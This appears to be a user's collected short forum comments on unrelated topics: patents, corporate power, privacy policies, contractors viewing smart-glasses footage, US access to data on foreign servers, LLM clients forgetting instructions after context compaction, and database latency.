I mean, I get the idea of patents. If there were no protection of “ideas”, some random person could have one, try to bring it to market but could just be outplayed by a big corporation with enough money to copy this idea and sell it everywhere before he can even start production. They have more resources and money, but might not have had that idea. There should be some protection. Problem is, that these are also abused by the big corporations, so… Maybe we need to fix this somehow.

They’re too big to fail, too big to jail, too big to care.

Won’t somebody think of the children?

But yes, they do! Believe me, they do!

Blame him all you want for things he did, but trying to keep calm in that situation?

If he had jumped up and left the room asap or maybe said a few words to end that event quickly and GTFO, he’d probably been criticized, too. Probably something about not being professional or whatever.

Uhm… Yeah… Exactly the way I update my software, too…

Also wtf is that JWT? The header looks right (base64 string starting with ey equates to {, so it’s probably json), but the body is… Too short? And why does it say signature instead of containing a (base64) signature? At least make it believable. Noone’s gonna decode that anyways. Just fill it with garbage!

Are we talking about biological age or mental age which means that most adults are still just honey teens with just a tad better impulse control?

Too bad, that the normal price for that is now a 4-digit sum and will the cost you still $500+…

By the way, the data is subject to the privacy regulations of the country we (or our partners) have built our servers in, so good luck trying to understand what exactly our interpretation of your rights are is.

The wearers of these glasses probably don’t want that footage seen by third parties. And the contractors sure seem like they’d rather not watch it—though they risk losing their job if they decide not to label something. “You understand that it is someone’s private life you are looking at, but at the same time you are just expected to carry out the work,” an employee told the papers. “You are not supposed to question it. If you start asking questions, you are gone.”

We at $COMPANY value your privacy and will process your data with the utmost care.

Every. Privacy. Policy. Ever.

Heh, amateurs. You do not put such important orders in the prompt or other context that gets constantly compacted (and thus fuzzy). Fix your LLM client.
(Or… Maybe, I don’t know, put some guard rails in cold hard traditional non-vobe-code to begin with?)

How else will he eventually stop a war, then? You think he’d be able to stop wars he isn’t even involved in, if he can’t even stop starting them himself?

Agreed. The US can access/subpoena any data it wants from US companies, even if the servers they host the data on are in Europe or Asia or…

It doesn’t matter where the servers and the data is located. It matters who posses (or controls the access) to it.

That’s a strange way to type occupy…

Yeah, but if I understand that correctly, that’s just for the app itself the LLM is very likely still a proprietary one (ChatGPT, Grok,…)

non-commitment like “I can’t do that” or “that’s against policy” or “that’s not my dept”

Ok, I’m not a native English speaker but… I have the feeling that they don’t know what non-commitment means. Unless it’s commitment to fuck the customer, but then, why bother to offer a call center?

Time for a classic: The Case of the 500-Mile Email

Edit: The site seems to be overloaded, but it’s also on Archive.org: https://web.archive.org/web/20260220060645/https://www.ibiblio.org/harris/500milemail.html

Delays - if you use the internet and request an answer from an LLM, you won’t notice if it’s 300-500ms slower than usual. But if you deploy and run a software stack, a delay of 5ms betweenntze app and the database can make the difference between a usable application and an inperfomant one.
